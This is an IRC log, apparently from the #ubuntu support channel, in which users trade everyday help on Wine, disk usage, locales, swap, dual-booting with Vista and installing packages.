[12:41] <SeveredCross> For the kernel, you need to know exactly which kernel version you need, and the command would be something like sudo apt-get install linux-kernel-2.6.x.x-image or something like that.
[12:41] <dauoalagio2> yea, there is a guide, rpc
[12:41] <rpc> dauoalagio2 so does it work really well? no hogs, mem leaks etc?
[12:41] <NaN_> rpc, also, if you know anything about linux, you can tinker and fool around and get many things working that the site doesn't say works.
[12:41] <SeveredCross> BeepAU: Using Synaptic is better, just filter the list.
[12:41] <rpc> NaN_ very cool, i will welcome my new friend wine very soon
[12:41] <dauoalagio2> rpc, it's ugly but i don't remember it crashing too many times.  it beats any linux torrent
[12:41] <Mirth> I don't see anything about Launchers when I right click it, Xenguy :(
[12:41] <rpc> dauoalagio2 and do you know about webgui in utorrent? will that work?
[12:41] <dauoalagio2> rpc, the web part? i never used it.
[12:42] <NaN_> I personally love btdownloadcurses :D
[12:42] <rpc> please check if only you can, i really need to know that from someone
[12:42] <BeepAU> SeveredCross -- $ uname -r gets me 2.6.17-11-generic
[12:42] <SeveredCross> Well, you already have the 2.6 kernel then.
[12:42] <SeveredCross> You don't need another kernel. :)
[12:42] <Xenguy> Mirth: right-click on the desktop and look for 'create launcher'...
[12:42] <rpc> dauoalagio2 i don't want to access it, just see if it runs at all on localhost or so
[12:42] <NaN_> Can someone tell me how to fix my locale? I keep getting errors related to it. `error: Unable to set locale.`
[12:42] <Mirth> Oh...
[12:42] <BeepAU> SeveredCross --what about the kernel sources or headers thing?
[12:42] <SeveredCross> And if you're running Ubuntu, you have Gnome, so you probably have GTK 2+
[12:42] <dauoalagio2> rpc, i don't know give it a try
[12:42] <Xenguy> Mirth: tho you want this for windows program, so I'm not sure if that makes it more difficult...
[12:42] <Mirth> I was trying to right click Photoshop.exe and make a shortcut thing, hehe
[12:42] <Mirth> I'll try that Xenguy
[12:42] <Xenguy> Mirth: possibly yes
[12:42] <Mirth> Ah...
[12:42] <Lattyware> No one?
[12:43] <SeveredCross> BeepAU: Um, try sudo apt-get install linux-kernel-2.6.17-11-sources or something.
[12:43] <dauoalagio2> rpc, http://www.ubuntuforums.org/showthread.php?t=191161
[12:43] <SeveredCross> I'm telling you, use Synaptic....
[12:43] <Shaezsche> how can i upgrade from the latest alpha to the new beta?
[12:43] <acemo> acemo@acemo:~$ sudo modprobe speedstep-centrino
[12:43] <acemo> FATAL: Module speedstep_centrino not found.
[12:43] <acemo> How can i get this to work?
[12:43] <BeepAU> SeveredCross -- i'll search in synaptic
[12:44] <NaN_> Mirth, you can open gedit and type in `wine /path/to/your/photoshop.exe` then save it on your desktop as Photoshop.. then open a terminal and chmod +x Desktop/Photoshop
[12:44] <rpc> dauoalagio2 thanks, reading up :)
[12:44] <blanky> questions questions!?
[12:44] <Mirth> I might have to do that NaN_
[12:44] <dauoalagio2> rpc, yep...remember that's intended for Dapper, so if you have edgy you may run into problems.  but i doubt anything serious
[12:44] <Mirth> Cause I'm losing so far, hehe
[12:44] <rpc> so which falvour of ubuntu do you recommend guys?
[12:44] <rpc> flavour*
[12:44] <bruenig> NaN_, don't forget the shabang
[12:44] <stepanstas> How do i add #ubuntu to my buddy list in Gaim?
[12:44] <NaN_> bruenig ?
[12:45] <bruenig> NaN_, #!/bin/bash
[12:45] <NaN_> ohhh yeah
[12:45] <NaN_> oops :P
[12:45] <rpc> dauoalagio2 you would recommend Dapper then, right?
[12:45] <bruenig> stepanstas, add an irc account and put that as one of your channels
[12:45] <Mirth> Yeah, when I did the Create a Launcher, it didn't work for Photoshop
[12:45] <MattJ> rpc: I use Xubuntu, just my personal favourite
[12:45] <NaN_> Mirth, at the top of the file you're making in Gedit, you probably want to put #! /bin/bash on the first line.
[12:45] <rpc> MattJ hmm
[12:46] <stepanstas> bruenig, how do i put it as one of the channels
[12:46] <dauoalagio2> rpc, no edgy is a lot prettier and more sstable.  it depends what  system you are on too.
[12:46] <hossasaur> hi, how do i check if my swap partition is on, or being used?
[12:47] <NaN_> rpc, upgrading from dapper to edgy causes a lot of problems if you have software that isn't in the repos.. or at least it used to, i don't know if it still does.
[12:47] <hossasaur> system resources always says 0% is being used
[12:47] <Lo_Pan> free -m
[12:47] <dauoalagio2> rpc, what kind of desktop do you want? Gnome  is basic, KDE is falshy, and xfce is fast as crap
[12:47] <bruenig> stepanstas, go to buddies and then it might say add channel or buddy or something, but go from there
[12:47] <hossasaur> Lo_Pan: was that to me?
[12:47] <Lo_Pan> yes
[12:47] <NaN_> I prefer fluxbox :D
[12:47] <Shaezsche> is 10% non-contiguous abnormal?
[12:47] <dauoalagio2> and there's fluxbox haha
[12:47] <bruenig> gnome is for retarded children, kde is crammed with garbage, xfce is fast and empty
[12:47] <hossasaur> Lo_Pan: it says 2117 free, 0 used
[12:47] <NaN_> gnome is nice.
[12:48] <hossasaur> Lo_Pan: for swap,that is
[12:48] <dauoalagio2> true brueing, what do you run
[12:48] <stepanstas> bruenig, thanks man, i saw the buddies, but not the channel
[12:48] <Lo_Pan> hossasaur: yeah, looks like it's all good then
[12:48] <stepanstas> bruenig, i appresiate it
[12:48] <hossasaur> Lo_Pan: does that mean it's turned off?
[12:48] <rpc> dauoalagio2 i need a fast and stable one :) and i need to get to utorrent under wine as fast as possible...
[12:48] <Lo_Pan> hossasaur: nah, it'd say 0 total if that was the case
[12:48] <rpc> dauoalagio2 and i know ZERO about it yet..
[12:48] <bruenig> rpc, getting utorrent under wine going is just as easy on all of them
[12:49] <hossasaur> Lo_Pan: so do certain apps use swap space? i'm assuming gnome doesn't?
[12:49] <Lo_Pan> hossasaur: it just means it has had nothing worth paging to the disk yet
[12:49] <rpc> bruenig but i'm not sure about the X system.. i'm a console guy..
[12:49] <IndyGunFreak> bruenig: wouldn't it be easier to just use a linux native client
[12:49] <dauoalagio2> well rpc, ubuntu is the system and the display managers is how it looks, gnome flux etc are display stuff.  so i would go with ubuntu 6.10 and chose which one you like best
[12:49] <Lo_Pan> hossasaur: you'll start swapping when your physical memory gets near completely utilized
[12:49] <dauoalagio2> rpc, brueing is right it doesn
[12:49] <dauoalagio2> t matter
[12:49] <bruenig> IndyGunFreak, well no webgui which is important to rpc
[12:49] <rpc> bruenig btw were you able to check webgui? sorry to bug you again but i really would love to know
[12:49] <hossasaur> Lo_Pan: but that'll never happen....
[12:49] <bruenig> rpc, yeah it works perfect
[12:49] <IndyGunFreak> bruenig: webgui?...
[12:49] <Lo_Pan> hossasaur: then you probably will never page to disk
[12:49] <kalle_> !pastebin
[12:49] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[12:50] <rpc> bruenig really? sweeet :) thank you so much!
[12:50] <StevenX> Hello room. I have a toshiba laptop and I can't get ubuntu to run. I tried it on the desktop, and it works. What's going on?
[12:50] <hossasaur> Lo_Pan: thank you, sir
[12:50] <Lo_Pan> hossasaur: nurries mate
[12:50] <bruenig> IndyGunFreak, yeah you can open up your client in a browser from anywhere and add stuff and check stuff and such
[12:50] <rpc> dauoalagio2 ok.. i decided on ubuntu 6.10, getting the iso
[12:50] <IndyGunFreak> bruenig: i see
[12:50] <NaN_> Can someone please help me fix my locale? I keep getting errors and warnings telling me "Unable to set locale"
[12:50] <rbil> rpc: make sure it's the 32bit variety
[12:51] <_platinum_> Hi
[12:51] <dauoalagio2> rpc, good because i hear when you want to update from dapper to edgy it causes problems with nautilus
[12:51] <_platinum_> When i install programs using the repositories
[12:51] <_platinum_> where do they go?
[12:51] <rpc> rbil oh hm... how about my X2 4600+ ?
[12:51] <rbil> no wine for 64bit
[12:51] <rpc> rbil wouldn't it be better to use 64bit then? or too many probs with that still?
[12:51] <rpc> err... oh i see
[12:51] <bruenig> IndyGunFreak, looks like this, http://i107.photobucket.com/albums/m290/bruenig/utorrentwebui.png
[12:51] <rpc> thanks for the hint o_O
[12:51] <richdurhm> how do i install tar.bz2s man im lost no read me file or nothing
[12:52] <jrib> richdurhm: what are you trying to install?
[12:52] <rpc> bruenig wee let me see that too..
[12:52] <IndyGunFreak> bruenig: hmm, interesting, guess i've never needed that feature so KTorrent has always worked well for me
[12:52] <AmaroqWolf> lol richdurhm, tar.bz2's are just zip files basically
[12:52] <rpc> bruenig yes yes yes :)
[12:52] <jrib> !fhs > _platinum_    (fhs, see the private message from ubotu)
[12:52] <richdurhm> yes
[12:52] <jrib> _platinum_: dpkg -L PACKAGE_NAME   will list all the files installed
[12:52] <richdurhm> jrib hey dude
[12:52] <jrib> richdurhm: hi
[12:52] <bruenig> rpc, I tried adding torrents and stuff, that worked too just so you know it is operational
[12:53] <rpc> bruenig thank you! you really made my day :)
[12:53] <ardchoille> richdurhm: Gimma a link to the tar.bz2 file and I'll check it out.
[12:53] <richdurhm> umm avidemux and deede
[12:53] <richdurhm> devede
[12:53] <bruenig> !devede
[12:53] <_platinum_> thanks
[12:53] <ubotu> devede: Video DVD creator. In component multiverse, is optional. Version 2.1-0ubuntu1 (edgy), package size 243 kB, installed size 664 kB
[12:53] <rpc> bruenig i was using winbloze vm just to run utorrent.. now i can throw it into bin..
[12:53] <richdurhm> http://www.rastersoft.com/programas/devede_es.html
[12:53] <zim> hi all
[12:53] <jrib> richdurhm: have you enabled multiverse?  Both of those things are in multiverse
[12:53] <AngryElf_> what's the nix equivolent of tracert from windows?
[12:53] <richdurhm> http://fixounet.free.fr/avidemux/download.html
[12:54] <rpc> AngryElf mtr
[12:54] <richdurhm> jrib,  yes sir
[12:54] <NaN_> AngryElf_: traceroute
[12:54] <cliebow> traceroute
[12:54] <bruenig> richdurhm, are you on edgy or dapper?
[12:54] <ardchoille> richdurhm: Go into the folder created by the tar comand you used to unpackit. Then do: sudo sh install.sh
[12:54] <jrib> richdurhm: then you can just do:  sudo aptitude install devede avidemux
[12:54] <OuZo> anybody know a good linux flight simulator?
[12:54] <StevenX> Hello room. I have a toshiba laptop and I can't get ubuntu to run. I tried it on the desktop, and it works. What's going on?
[12:54] <bengold> hey could someone answer a couple of quick noob questions
[12:54] <zim> how can i get du to just give me the total ie: var = 12gig nothing else
[12:54] <ardchoille> richdurhm: avidemux is in the repos, you shouldn't be installing it from source.
[12:54] <ardchoille> !avidemux
[12:54] <ubotu> avidemux: a small editing software for avi (especially DivX). In component multiverse, is optional. Version 1:2.1.2-0.0ubuntu3 (edgy), package size 2738 kB, installed size 6956 kB
[12:54] <bruenig> !someone | bengold
[12:54] <ubotu> bengold: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[12:54] <bruenig> but I know for one that devede is a edgy only thing
[12:54] <richdurhm> ok
[12:55] <ardchoille> !info devede Edgy
[12:55] <ubotu> devede: Video DVD creator. In component multiverse, is optional. Version 2.1-0ubuntu1 (edgy), package size 243 kB, installed size 664 kB
[12:55] <bruenig> !info devede dapper
[12:55] <ubotu> Package devede does not exist in dapper
[12:55] <KalleDK> !info cdemu
[12:55] <ardchoille> richdurhm: Ignore my last two comments, it seems that both avidemux and devede are in the Edgy repos.
[12:55] <ubotu> Package cdemu does not exist in edgy, edgy-backports, edgy-seveas
[12:55] <richdurhm> ardchoille,  ok it is in the repos
[12:55] <richdurhm> devede is also
[12:55] <bengold> oh sorry, If I make a partition when installing ubuntu that means I can still have windows on the computer too right?
[12:55] <rbil> OuZo: http://www.flightgear.org/
[12:56] <bengold> so nothing will happen to windows on it already?
[12:56] <merijnb> is the feisty beta iso supposed to work on all hardware? Mine gives a 'abnormal program end' on modprobe and puts me in a busybox prompt
[12:56] <richdurhm> Bengold yes
[12:56] <ant__> !dualboot | bengold
[12:56] <ubotu> bengold: Dual boot instructions:  https://help.ubuntu.com/community/WindowsDualBootHowTo (x86/AMD64) - https://wiki.ubuntu.com/YabootConfigurationForMacintoshPowerPCsDualBoot (Macintosh)
[12:56] <OuZo> rbil: thanks :)
[12:56] <dauoalagio2> what is the point of a flight simulator? is it a game?
[12:56] <richdurhm> dauoalagio2,  yes
[12:56] <hossasaur> bengold: is windows on an ntfs partition?
[12:57] <richdurhm> dauoalagio2,  no point just game
[12:57] <dauoalagio2> oh okay
[12:57] <NaN_> can someone PLEASE help me fix my locale? LC_ALL is blank, and it says "Cannot set LC_ALL to default locale: No such file or directory"
[12:57] <bengold> hossasaur: again I'm a noob, a windows noob too I'm really a mac user
[12:57] <merijnb> is there a feisty specific channel?
[12:57] <andi5> NaN_: what is "it"? ... there are also LANG, LANGUAGE and some LC_* variables
[12:57] <rbil> dauoalagio2: typically not as much a game as a way to learn how to fly
[12:57] <bruenig> merijnb, #ubuntu+1
[12:58] <hossasaur> bengold: it's ok, i recently made the switch from vista to ubuntu
[12:58] <NaN_> andi5, when i type "locale" thats what the top says.
[12:58] <steevz> eh
[12:58] <dauoalagio2> rbil, you can learn to fly a plane through it?
[12:58] <rbil> yes
[12:58] <rbil> that's what it's designed for
[12:58] <coopster> pastie: gimmie a hand?
[12:58] <dauoalagio2> oh
[12:58] <dauoalagio2> okay
[12:58] <bruenig> dauoalagio2, you better watch out, NSA is logging this chat, they might come get you, be careful
[12:58] <coopster> bah
[12:58] <hossasaur> bengold: if you're referring to a vista install on an ntfs partition, you have to be careful.  gparted (the partition manager that comes on the ubuntu live cd) can mess up the vista install
[12:58] <dauoalagio1> i will, brueing
[12:59] <andi5> NaN_: does `env -i locale' work?
[12:59] <zim> can anyone tell me how to get du on the command line to spit out just the total ie: du -something var
[12:59] <bengold> hossasaur: this is a vista machine :O
[12:59] <hossasaur> bengold: between rewriting the mbr and resizing an ntfs partition, you'll corrupt the install of vista.  it's happened to many and it happened to me
[12:59] <bruenig> zim, the total what?
[12:59] <maccam94> is there a way to accelerate the download speed of apt downloads? i've got a good two hours of d/lling ahead of me if it stays at this 85KB/s rate, and I usually get 350KB/s in firefox etc...
[12:59] <zim> ie 20g
[12:59] <weggpod> hy all
[12:59] <bruenig> zim, of a particular directory?
[12:59] <dauoalagio1> ubuntu owns vista
[12:59] <weggpod> sorry for my bad english
[12:59] <zim> not the size of each dir in it to
[12:59] <bengold> hossasaur: what if the computer came with vista?
[01:00] <weggpod> i need help for a disk problem
[01:00] <zim> all in on
[01:00] <hossasaur> bengold: that's what i'm talking about
[01:00] <andi5> then the computer owns vista...
[01:00] <zim> not miles of scrolling
[01:00] <jefh> hi
[01:00] <zim> all i want to know is how big the dir is
[01:00] <NaN_> andi5, it echos a bunch of stuff, but i can't change anything.
[01:00] <NaN_> andi5: LANG is blank as well as LC_ALL
[01:01] <jefh> is there a way to make it so that you can only access a folder with a password?
[01:01] <bengold> so I'm guess I should not do anything yet because I cant get rid of windows on it , that's why i bought the pc
[01:01] <weggpod> i have an access disk every 5 seconds but i don't know why,   i don't swap, and when i kill x and other useless application, this problem persist
[01:01] <weggpod> on another os, i don't ave this probleme
[01:01] <mike__> 7.04 work ok wireless,,"atheros"?
[01:01] <hossasaur> bengold: my advice is to boot into ubuntu live cd, use gparted to resize the partition
[01:01] <ant__> zim : try a 'man du' to learn its flags
[01:01] <rbil> zim: probably this would work ... du | tail --lines=1
[01:01] <andi5> NaN_: env | sed '/^LC/!d' ?
[01:01] <hossasaur> bengold: before installing ubuntu, reboot into vista to make sure it'll still boot
[01:01] <weggpod> Need help please
[01:01] <greig_> Help please, i just ran a game through wine (call of duty) and when returning to desktop it looks horrible, the colours are all messed up, all i can say its as if its in a safe mode, can anyone advice how to return it to normal, ITS SOO  BRIGHT, i need sunglass's lol
[01:02] <bruenig> zim, well something like "du -hc /directory 2> /dev/null | grep total"
[01:02] <octoberdan> I just tried to put into a new kernel I just installed, but it "kernel panic"ed and I had to boot into my old kernel. How do I access the log specific to the failed startup? Was it logged at all or will I have to reboot with paper and pencil?
[01:02] <hossasaur> bengold: everything should be fine if it boots
[01:02] <kev_> where does one find the gaim plugin folder?
[01:02] <zim> ty
[01:02] <jefh> reset the resolution config
[01:02] <NaN_> andi5, nothing gets echo'd
[01:02] <greig_> jefh : is there  a command for that?
[01:02] <bruenig> zim, the 2> is only necessary because of permission denied errors, so if you don't expect to get permission denied errors, then you can drop it
[01:02] <bengold> really just the live cd could mess up vista?
[01:02] <bruenig> or I should say the 2> /dev/null
[01:02] <maccam94> just a live cd cannot hurt windows
[01:02] <steevz> fck Vista!
[01:02] <octoberdan> *boot into, not "put into"
[01:02] <andi5> NaN_: but `locale -a' shows you something, right?
[01:02] <maccam94> it doesn't touch the hd
[01:03] <weggpod> 1046 people and noone can help me
[01:03] <octoberdan> Not sure why I said put...
[01:03] <zim> why so complicated
[01:03] <NaN_> lemme try locale -a
[01:03] <jefh> gmaybe go onto preferences and just change the resolution and then change it back again
[01:03] <_platinum_> Can someone please help me fix TILDA?
[01:03] <NaN_> yes, locale -a shows a bunch of stuff.
[01:03] <dauoalagio1> !someone
[01:03] <ubotu> A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[01:03] <bruenig> zim, du -hc /directory | grep total should do generally, but if you do /var for instance, you will get permission denied errors that will show up as well as the total
[01:03] <zim> is there another command that will tell you the size of a dir
[01:03] <hossasaur> bengold: it's not the live cd messing up windows.  it's you resizing an ntfs partition and rewriting your master boot record with grub.  it's not like a regular trip to the doctor, it's like reconstructive surgery
[01:03] <andi5> NaN_: choose one (like en_US.utf8)... does `LANG=en_US.UTF-8 locale' work?
[01:03] <kev_> can anyone tell me where to find the Gaim plugin folder ?
[01:04] <_platinum_> !anyone
[01:04] <johnficca> anyone running feisty fawn beta on 64 bit CPUs?
[01:04] <richdurhm> does anyone know hwo to use avidemux?
[01:04] <bruenig> johnficca, #ubuntu+1
[01:04] <maccam94> weggpod, is there anything in the output of "ps ax"?
[01:04] <bruenig> richdurhm, I do
[01:04] <_platinum_> Key Incorrect -- Read the README or tilda.sf.net for info, rerun as 'tilda -C' to set keybinding
[01:04] <_platinum_> : Success
[01:04] <jefh> what is avidemux?
[01:04] <ardchoille> !avidemux
[01:04] <ubotu> avidemux: a small editing software for avi (especially DivX). In component multiverse, is optional. Version 1:2.1.2-0.0ubuntu3 (edgy), package size 2738 kB, installed size 6956 kB
[01:04] <bruenig> jefh, avidemux allows you to edit avis
[01:04] <NaN_> andi5: yes, LANG is now filled in. what should LC_ALL be?
[01:04] <hossasaur> bengold: all i'm saying is that after you resize your ntfs partition with gparted, add your ext2 or ext3 partition for ubuntu, add your swap partition, however you want to set it up, reboot into vista to make sure it still works
[01:04] <zim> i was using var as an example what i use du for alot is my www dir and there is loads in that
[01:04] <rbil> zim: what's complicated about this?     du | tail --lines=1
[01:04] <hossasaur> bengold: if it still works, then reboot into live cd, install ubuntu
[01:04] <andi5> NaN_: empty
[01:05] <weggpod> maccam94, nothing which write cyclily on the ard drive
[01:05] <hossasaur> bengold: after that, grub should recognize vista, if not, there's tutorials on how to fix that
[01:05] <NaN_> locale: Cannot set LC_ALL to default locale: No such file or directory --- so is that normal?
[01:05] <jefh> google avidemux
[01:05] <zim> not alot just you would think du would have it built in
[01:05] <ubuntu> what application is compat. w/yahoo messege
[01:05] <ant__> bengold : before you resize your ntfs partition make sure to defrag and be aware you still may lose data
[01:05] <_platinum_> (tilda:31779): Gtk-CRITICAL **: gtk_main_quit: assertion `main_loops != NULL' failed
[01:05] <hossasaur> bengold: but what you REALLY don't want is for gparted to fuck up your oem vista install
[01:05] <jefh> lots of wikis on avidemux
[01:05] <_platinum_> Im getting (tilda:31779): Gtk-CRITICAL **: gtk_main_quit: assertion `main_loops != NULL' failed
[01:05] <bruenig> zim, it does have it built in, with the c switch
[01:05] <zim> almost have it as the default
[01:05] <bengold> hmm, why can't it be easy :P
[01:05] <_platinum_> while trying to get Tilda to work
[01:05] <andi5> NaN_: if you do not mind, please use http://pastebin.ca and give us a link to the output of `env' :)
[01:06] <NaN_> alright, one sec.
[01:06] <hossasaur> bengold: trust me, it's easier than it's ever been
[01:06] <maccam94> weggpod, you can try running top and checking for programs actually tying up system resources, but the only thing I can think of is a service running or an error message being logged. you can check dmesg for a repeated error message...
[01:06] <zim> but the -c switch still lists all dirs
[01:06] <bengold> I"m kinda retarded when it comes to anything other than mac
[01:06] <bruenig> zim, du -hcs /var 2> /dev/null
[01:06] <hossasaur> bengold: that's not saying much
[01:06] <ant__> :X
[01:06] <bengold> yeah I know
[01:06] <bengold> :
[01:07] <bengold> :)
[01:07] <acu> I would like to start phppgadmin (web interface for postgreSQL) how should I start it (what should I type on the URL) ?
[01:07] <zim> thanks i got that
[01:07] <rbil> zim: I see u can also do this ... du -c <dirname> | grep total
[01:07] <weggpod> maccam94, nothing in the log
[01:07] <hossasaur> bengold: mac is a joke.  be happy you're getting rid of that.
[01:07] <NaN_> andi5: http://dpaste.com/hold/7314/
[01:07] <ant__> zim : if you dont like the command line just use baobab
[01:07] <bruenig> zim, or even better hu -hs /var
[01:08] <dauoalagio1> hossasaur loves open sources, doesn't he?
[01:08] <hossasaur> dauoalagiol: no, i just don't like macs
[01:08] <dauoalagio1> hossasaur: why?
[01:08] <maccam94> weggpod, those are the only things I can think of at the moment, sorry. no services like hdparm or something running? nothing like beagle(d), cron, etc?
[01:08] <zim> ant i love command line
[01:08] <bengold> hossasaur: no way am I getting rid of it, as much as I like ubuntu I can't give up mac, but I hate windows and ubuntu is the best linux distro, also the best thing to run on that machine
[01:09] <weggpod> maccam94, no
[01:09] <kev_> can anyone tell me where to find the Gaim plugin folder ?
[01:09] <bengold> last time I checked I cand run final cut on linux
[01:09] <hossasaur> dauoalagiol: lack of software support, lack of ingenuity, lack of balls, i don't know.....i just don't like them/it
[01:09] <hossasaur> bengold: windows is much better than osx
[01:09] <NaN_> andi5, anything? maybe i just have to reboot?
[01:09] <maccam94> grrrr.... is there any way to get apt to use axel or some similar download accelerator?
[01:09] <NaN_> hossasaur, matter of opinion.
[01:09] <dauoalagio1> hossasaur: the thing i don't like is that when it crashes, it's done.
[01:09] <hossasaur> bengold: if you don't like windows, you won't like ubuntu
[01:09] <maccam94> hossasaur, psht
[01:09] <zim> just was commenting that it would be kewl if the default was simple
[01:09] <NaN_> hossasaur, also not true.
[01:10] <NaN_> i dislike windows and love ubuntu
[01:10] <jexdawg> when you guys reformat ubuntu/your comp, what do you do with your media collection? i want to reformat but i have over 3000 songs which i'd like to put back on the original computer. so what do you guys do?
[01:10] <andi5> NaN_: no, you probably do not need to reboot
[01:10] <dauoalagio1> yeah same here
[01:10] <maccam94> i hate windows, like ubuntu, don't mind mac
[01:10] <ant__> hossasaur : your digging yourself deeper, you should put on your boots
[01:10] <peter77> When I insert a pair of headphones the main speakers don't cut off, although they do when running windows
[01:10] <hossasaur> hahaha
[01:10] <NaN_> jexdawg why would you reformat? >_>
[01:10] <IndyGunFreak> jexdawg: back them up to an external hard drive
[01:10] <NaN_> jexdawg i used to reformat when i was on windows, haven't had need to since i've been on linux
[01:10] <greig__> hey folks, what the command again to list the hdd's
[01:10] <zim> it would be like ls listing every file in every dir unless you greped it
[01:10] <maccam94> fdisk -l
[01:10] <NaN_> df -h ?
[01:10] <_platinum_> When i try to configure Tilda i get gtk-CRITICAL
[01:10] <hossasaur> well, the guy said he was borderline computer illiterate
[01:10] <bengold> I know but it's strange, I have used ubuntu on other machines and I loved it it, I'm not a complete noob with using ubuntu
[01:10] <Arko> hi
[01:11] <greig__> maccam94  : thanks:)
[01:11] <maccam94> greig__, np
[01:11] <slvmchn> i installed xubuntu on a machine recently, and there was an option to add a command line terminal to the top panel (like had a terminal bar within the panel) so i could type commands in right there... any idea how to set this up on xubuntu?
[01:11] <slvmchn> on ubuntu*
[01:11] <andi5> NaN_: your environment looks great...hm... so `locale -a | grep en_US.utf8' returns something, right? .... weird
[01:11] <slvmchn> regular ubuntu
[01:11] <ardchoille> jexdawg: I bought an inexpensive, smaller, hard drive that I use as a slave. I use that to hold my media and stuff.
[01:11] <hossasaur> on an ease of use scale, linux is on the opposite spectrum as mac/osx, putting windows somewhere in between
[01:11] <Arko> I am trying to install some stuff and it keeps saying that it depends on libc6 (>= 2.4-1). How to solve that?
[01:11] <zim> anyway du does not do it and as i am not about to rewrite it i wont moan
[01:11] <IndyGunFreak> ardchoille: never thought o that, thats another good idea..
[01:12] <greig__> maccam94  : for some reason that command does nothing m8
[01:12] <NaN_> yes, andi5, it does.
[01:12] <NaN_> do i just need to reboot?
[01:12] <bengold> and I'm not gonna fight about which is better, mac or pc, I like mac and some live pc (market share :(
[01:12] <andi5> NaN_: tried a new terminal?
[01:12] <NaN_> nope.
[01:12] <greig__> maccam94  : must i be root?
[01:12] <ardchoille> IndyGunFreak: Good for backups, media, ISO's, just about anything smaller than 40Gb.
[01:12] <jexdawg> ardchoille, lets pretend, hypothetically, that i was computer-retarded. is that difficult to do? also, how much does a small harddrive cost? external or internal?
[01:12] <hossasaur> hey, i triple boot vista/ubuntu/osx10
[01:12] <hossasaur> i'm familiar with it
[01:12] <IndyGunFreak> ardchoille: yeah, i ended up buying an enclosure fo ra spare 80gig drive i have, cuz i like being able to switch the drive between my PC and my laptop.
[01:12] <hossasaur> i just don't really like it
[01:12] <NaN_> andi5 trying to do hp-setup gives me `error: Unable to set locale."
[01:13] <greig__> maccam94  : got it thanks:)
[01:13] <maccam94> greig__, probably. df -h can be done as a user, but it only lists mounted drives
[01:13] <maccam94> ah k
[01:13] <bahatpc> I'm trying to install ubuntu from an USB stick, but the installer fails to find the ISO image I copied onto it - any ideas what I could be doing wrong?
[01:13] <andi5> NaN_: i guess you can always start it with "LANG=C hp-setup"
[01:13] <greig__> is the default hdd install partion of ubuntu 4g?
[01:13] <hossasaur> bahatpc: is it stored on the usb stick as xxxx.iso?
[01:14] <ardchoille> jexdawg: This internal drive cost me about $50.00 US. and all I did was set the jumper to slave, put it in the box and added one line to /etc/fstab: /dev/hdb1       /mnt/hdb1       ext3    defaults,errors=remount-ro 0       2
[01:14] <ardchoille> jexdawg: It's rather simple, but I can guide you through it if you need help.
[01:14] <hossasaur> bahatpc: or did you mount it to the stick? i guess there's a bunch of ways to get an iso onto that stick, but storing it as xxxxx.iso isn't the right one
[01:14] <maccam94> bahatpc, you're using grub to boot a .iso? i thought it couldn't do that... (maybe they have added that as a feature). usually what you do with an iso is extract it onto the media...
[01:14] <bahatpc> hosssaur: yes, I copied ubuntu-alternate-i386 onto it
[01:15] <bahatpc> maccam94: no, I followed the directions in the manual
[01:15] <hossasaur> bahatpc: you have to use a program to mount the iso onto the stick, like.....one second
[01:15] <IndyGunFreak> jexdawg: here's a reasonably priced option as well(if getting inside the PC isn't your thing)...   http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=2235836&Sku=S130-4020
[01:15] <bengold> hossasaur: do thing that if I install the beta it will work better? (really if vista gets F**ked I have no problem with starting over fresh
[01:15] <hossasaur> maccam94: he's trying to boot from the stick
[01:15] <maccam94> bahatpc, well, check your drive numbering
[01:15] <jexdawg> ardchoille, i have a dvd burner that i bought for 35$ for that exact purpose, so i can always use that. but it takes a while to burn them all. i was really just looking for ideas i guess.
[01:15] <hossasaur> bengold: that certainly doesn't matter
[01:15] <ardchoille> IndyGunFreak: Actually, your external drive switching idea is even better.
[01:16] <hossasaur> bengold: just resize your partition, restart into vista
[01:16] <IndyGunFreak> ardchoille: it works for me to go between my pc and laptop..
[01:16] <greig__> Can i ask...is the default hdd install partion of ubuntu 4gig?
[01:16] <IndyGunFreak> jexdawg: do you know how many disks, 3k mp3's will take?
[01:16] <bahatpc> maccam94: could you elaborate on that? afaik it checked my 5 drives and 1 USB stick (sda-sdf) for images
[01:16] <ant__> greig__ : i wouldn't put it on anything smaller than 4g, i really dont know how big it is
[01:16] <ardchoille> jexdawg: The advantage to an external or internal drive is more space and you don't use up a lot of dvd's
[01:16] <bahatpc> when I execute a shell, I can mount the usb stick and the iso is write there
[01:16] <bahatpc> right*
[01:17] <greig__> ant_ : well im just new to linux and it apears i have made a 4g ubuntu install, is there a way to increase this partion without reinstalling?
[01:17] <hossasaur> bahatpc: use this http://www.download.com/ISO-Commander/3000-2646_4-10399934.html?tag=lst-0-1
[01:17] <ardchoille> jexdawg: IndyGunFreak's idea is better and I'll be looking for an external drive myself tomorrow.
[01:17] <arch_> I'm not sure where else to ask this, but I am looking for the desktop widgets shown in the second screenshot on the following link: http://www.gnome-look.org/content/show.php/Ubuntu+Glossy+Orange?content=48185  anybody have any idea what they are called (weather + extensive system information)?
[01:17] <slvmchn> any idea how to get a terminal embedded in the top panel?
[01:18] <IndyGunFreak> jexdawg: i've got roughly 600 mp3s, about 2.5gig, so assuming 3k, and 5gigs per disk, he'll probably need about 3 disks.
[01:18] <Jon335> how do I reconfigure the X server?
[01:18] <jexdawg> indygunfreak - i do, in fact. approximately five on dvds... not data cds. i've done it before.  ardchoille: i agree, its definitely a better option. unfortunately, i am poor, so i am kinda going with what i've got unless something else jumps at me.
[01:18] <bahatpc> hossasaur, maccam94: I followed the exact steps as outlined in https://help.ubuntu.com/6.10/ubuntu/installation-guide/i386/boot-usb-files.html
[01:18] <slvmchn> Jon335: i believe it's /etc/X11/xorg.conf
[01:18] <ardchoille> jexdawg: Yeah
[01:18] <slvmchn> edit that file
[01:18] <IndyGunFreak> jexdawg: well,  then i guess thats your best option.
[01:18] <bruenig> arch_, the stuff on the bottom there is conky, not sure about the widgets at the top, could be gdesklets, or maybe adesklets
[01:18] <ant__> greig__ : i personally dont like to resize partitions and dont know if you could or not.
[01:18] <arch_> thanks, I'll check them out
[01:18] <Jon335> slvmchn: do you know the dpkg-reconfigure command?
[01:18] <bahatpc> the installer is supposed to find (and I assume mount and use) an added .iso image by itself
[01:18] <slvmchn> hmm i don't
[01:19] <greig__> To anyone ....im new to linux and it apears i have made a 4g ubuntu install, is there a way to increase this partion without reinstalling?
[01:19] <bruenig> !info conky
